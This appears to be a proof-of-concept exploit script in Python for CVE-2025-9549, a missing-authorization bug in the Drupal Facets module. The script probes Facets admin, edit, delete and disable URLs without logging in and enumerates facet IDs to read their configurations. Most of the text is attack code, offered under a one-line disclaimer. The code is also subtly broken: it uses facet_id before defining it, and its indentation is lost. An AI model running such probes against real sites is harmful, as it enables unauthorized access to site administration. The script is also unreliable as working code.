Missing Authorization vulnerability in Drupal Facets allows Forceful Browsing.This issue affects Facets: from 0.0.0 before 2.0.10, from 3.0.0 before 3.0.1.
The following code is for security research and authorized testing only.
python
# CVE-2025-9549 PoC - Drupal Facets Missing Authorization / Forceful Browsing
# This PoC demonstrates accessing restricted Facets endpoints without authentication
# The vulnerability allows unauthenticated users to access protected facet configurations
import requests
# Target Drupal site with vulnerable Facets module (version < 2.0.10 or 3.0.0 < 3.0.1)
target_url = "http://target-drupal-site.com"
# Step 1: Attempt to access restricted Facets API endpoints without authentication
# These endpoints should require proper authorization but are accessible due to missing checks
restricted_endpoints = [
f"{target_url}/admin/config/search/facets",
f"{target_url}/facets/{facet_id}/edit",
f"{target_url}/facets/{facet_id}/delete",
f"{target_url}/facets/{facet_id}/disable",
f"{target_url}/admin/config/search/facets/add-facet",
]
# Step 2: Send unauthenticated requests to restricted endpoints
session = requests.Session()
for endpoint in restricted_endpoints:
try:
response = session.get(endpoint, timeout=10)
# If response is 200 instead of 403/401, the endpoint is vulnerable
if response.status_code == 200:
print(f"[VULNERABLE] Endpoint accessible without auth: {endpoint}")
print(f" Response length: {len(response.text)}")
elif response.status_code in [403, 401]:
print(f"[SAFE] Endpoint properly protected: {endpoint}")
else:
print(f"[INFO] Unexpected status {response.status_code}: {endpoint}")
except requests.exceptions.RequestException as e:
print(f"[ERROR] Request failed for {endpoint}: {e}")
# Step 3: Attempt forceful browsing to access facet configuration data
# Try to enumerate facet IDs and access their configurations
facet_id_range = range(1, 20) # Common facet ID range
for facet_id in facet_id_range:
config_url = f"{target_url}/facets/{facet_id}/edit"
response = session.get(config_url, timeout=5)
if response.status_code == 200 and "facet" in response.text.lower():
print(f"[VULNERABLE] Facet config accessible: {config_url}")
# Extract sensitive configuration data
if "name" in response.text.lower() or "field" in response.text.lower():
print(" Sensitive facet configuration data exposed!")
print("\n[*] PoC completed. Check results above for vulnerable endpoints.")
print("[*] Reference: https://www.drupal.org/sa-contrib-2025-099")